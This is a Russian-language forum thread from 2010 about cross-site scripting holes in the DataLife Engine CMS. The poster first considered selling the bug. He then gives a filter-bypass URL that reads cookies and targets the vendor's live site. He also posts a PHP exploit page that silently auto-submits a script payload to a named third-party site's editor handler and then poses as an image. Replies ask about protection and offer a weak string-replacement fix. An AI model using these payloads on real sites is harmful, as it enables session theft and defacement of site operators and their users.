Инфо XSS во всех версиях

Тема в разделе "DLE", создана пользователем BKK, 15 мар 2010.

Информация :
Актуальная версия DataLife Engine 11.2
( Final Release v.11.2 | Скачать DataLife Engine | Скачать 11.2 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.1 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. BKK

    BKK

    Регистр.:
    21 окт 2009
    Сообщения:
    160
    Симпатии:
    45
    Решил сначала продать за 200$... так как желающих было завались:)D) решил выложить сие багу
    бага в engine/modules/imagepreview.php
    Celsoft пыталась пофиксить багу :)
    Мой склад ума позволил обойти защиту :D
    Единственный плюс, это то, что xss работает только в Опере
    багу обнаружил и пофиксил kzpromo (в привате с версии 7.5)
    реализация защиты от xss :)
    PHP:
    <?php
    /*
    =====================================================
     багу обнаружил и пофиксил kzpromo
    -----------------------------------------------------
     DataLife Engine - by SoftNews Media Group 
    -----------------------------------------------------
     http://dle-news.ru/
    -----------------------------------------------------
     Copyright (c) 2004,2009 SoftNews Media Group
    =====================================================
     Данный код защищен авторскими правами
    =====================================================
     Файл: imagepreview.php
    -----------------------------------------------------
     Назначение: Просмотр картинок
    =====================================================
    */

    $_GET['image'] = @htmlspecialchars ($_GET['image'], ENT_QUOTES);
    $_GET['image'] = strtolower($_GET['image']);
    if( 
    preg_match"/[?&;%<\[\]]/"$_GET['image'] ) ) $_GET['image'] = "";

    $_GET['image'] = str_replace"document.cookie"""$_GET['image'] );
    $_GET['image'] = str_replace"javascript"""$_GET['image'] );
    $_GET['image'] = str_replace"onload"""$_GET['image'] );
    $_GET['image'] = str_replace"script"""$_GET['image'] );
    $_GET['image'] = str_replace"onclick"""$_GET['image'] );
    $_GET['image'] = str_replace"alert"""$_GET['image'] );


    if ( 
    preg_match"/[?&;%<\[\]]/"$_GET['image']) ) {

        
    $_GET['image'] = "иди_нахуй";

    }
    if (
    eregi("document.cookie"$_GET['image']) or eregi("alert"$_GET['image']) or eregi("javascript"$_GET['image']))
    {
    $_GET['image'] = "иди_нахуй";


    $preview = <<<HTML
    <HTML>
    <HEAD>
    <TITLE>Image Preview</TITLE>
    <script language='javascript'>
         var NS = (navigator.appName=="Netscape")?true:false;

                function fitPic() {
                iWidth = (NS)?window.innerWidth:document.body.clientWidth;
                iHeight = (NS)?window.innerHeight:document.body.clientHeight;
                iWidth = document.images[0].width - iWidth;
                iHeight = document.images[0].height - iHeight;
                window.resizeBy(iWidth, iHeight);
                self.focus();
                };
    </script>
    </HEAD>
    <BODY bgcolor="#FFFFFF" onload='fitPic();' topmargin="0" marginheight="0" leftmargin="0" marginwidth="0">
    <script language='javascript'>
    document.write( "<img src='
    {$_GET['image']}' border=0>" );
    </script>
    </BODY>
    </HTML>
    HTML;

    echo 
    $preview;
    ?>
    Каким же образом получаем алерт кук? :ah:
    все просто :read:
    http://dle-news.ru/engine/modules/imagepreview.php?image=jajavascriptvascript:alert(dodocument.cookiecument.cookie)
    как бэ все! кто умеет пользоваться курлом тот сможет использовать багу :p
     
    dragonstyle нравится это.
  2. CheburatoR-all

    CheburatoR-all Гипножаба

    Регистр.:
    26 апр 2009
    Сообщения:
    295
    Симпатии:
    438
    функция eregi в новых версиях php (5.3.*) не корректно работает (если ее вообще не убрали)
    UPD: Почитать тут
     
  3. ndmitry

    ndmitry

    Регистр.:
    18 июн 2006
    Сообщения:
    980
    Симпатии:
    603
    т.е. баг не рабочий?
     
  4. BKK

    BKK

    Регистр.:
    21 окт 2009
    Сообщения:
    160
    Симпатии:
    45
    рабочий, включая любую версию дле начиная с версии 7,3 чтоли
    а где ниже там вообще фильтра небыло
     
  5. Levitt

    Levitt

    Регистр.:
    20 май 2008
    Сообщения:
    357
    Симпатии:
    36
    напиши ещё тогда как защитится от подобной атаки
     
  6. PoMaH

    PoMaH

    Регистр.:
    8 июн 2006
    Сообщения:
    753
    Симпатии:
    142
    самый простой просто продублируй
    но терь впиши свое

    PHP:

    $_GET
    ['image'] = str_replace"javascript""Super_Duper_slovo"$_GET['image'] );
    $_GET['image'] = str_replace"onload""Liuboje_slovo"$_GET['image'] );
    $_GET['image'] = str_replace"script""Nabor_bukv_cifr"$_GET['image'] ); 

     
  7. Kiosaki

    Kiosaki

    Регистр.:
    20 мар 2009
    Сообщения:
    175
    Симпатии:
    12
    А простым юзерам можно пояснить как именно (в каких файлах) и от чего защититься? Или хотябы намекнуть так, что бы все не узнали об этом. Главное защититься бы)
     
  8. BKK

    BKK

    Регистр.:
    21 окт 2009
    Сообщения:
    160
    Симпатии:
    45
    все под хайдом есть! ;)
    и защита и нужный урл и все при все на свете!
     
  9. BKK

    BKK

    Регистр.:
    21 окт 2009
    Сообщения:
    160
    Симпатии:
    45
    Работает любой хтмл тег отосланный пост запросом на engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php :)

    ТИПА ЭКСПЛОИТ :read:
    PHP:
    <?php
    $value 
    urlencode("<script>alert('HACKED BY KZPROMO trololo');</script>");
    if(
    $_GET['unset'] == "time") unset($_COOKIE['time']);
    if(!isset(
    $_COOKIE['time']))
    {
    setcookie("time",time(),time()+3600);
    echo <<<HTML
    <html>
    <head>
    </head>
    <body>
    <center>

    <form name="hack" action="https://gomel-sat.net/engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php" method="post">
    <input type="text" name="text" value='
    $value' style="boder:none;FONT: 0px Tahoma; border:0px solid #FFFFFF;" border="0">
    </form>

    <script>
    document.hack.submit();
    </script>
    </body>
    </html>
    HTML;

    }
    else { 
    header("Content-type: image/jpg");
    $image imagecreatefromgif('smile.jpg');
    imagegif($image);
    imagedestroy($image);
    }

    ?>
    не удивлюсь если он в привате у нулледа:ah::D
     
    dragonstyle нравится это.
  10. ORZ

    ORZ

    Регистр.:
    13 июн 2007
    Сообщения:
    255
    Симпатии:
    80
    http://dle.in.ua/9321-nugumanov.html

    http://8dle.ru/main/1206-hacked-by-kzpromo.html

    Незнаю, может что би такого цирка небило ви би лучше сообшили об этих дырах целке?
     
Статус темы:
Закрыта.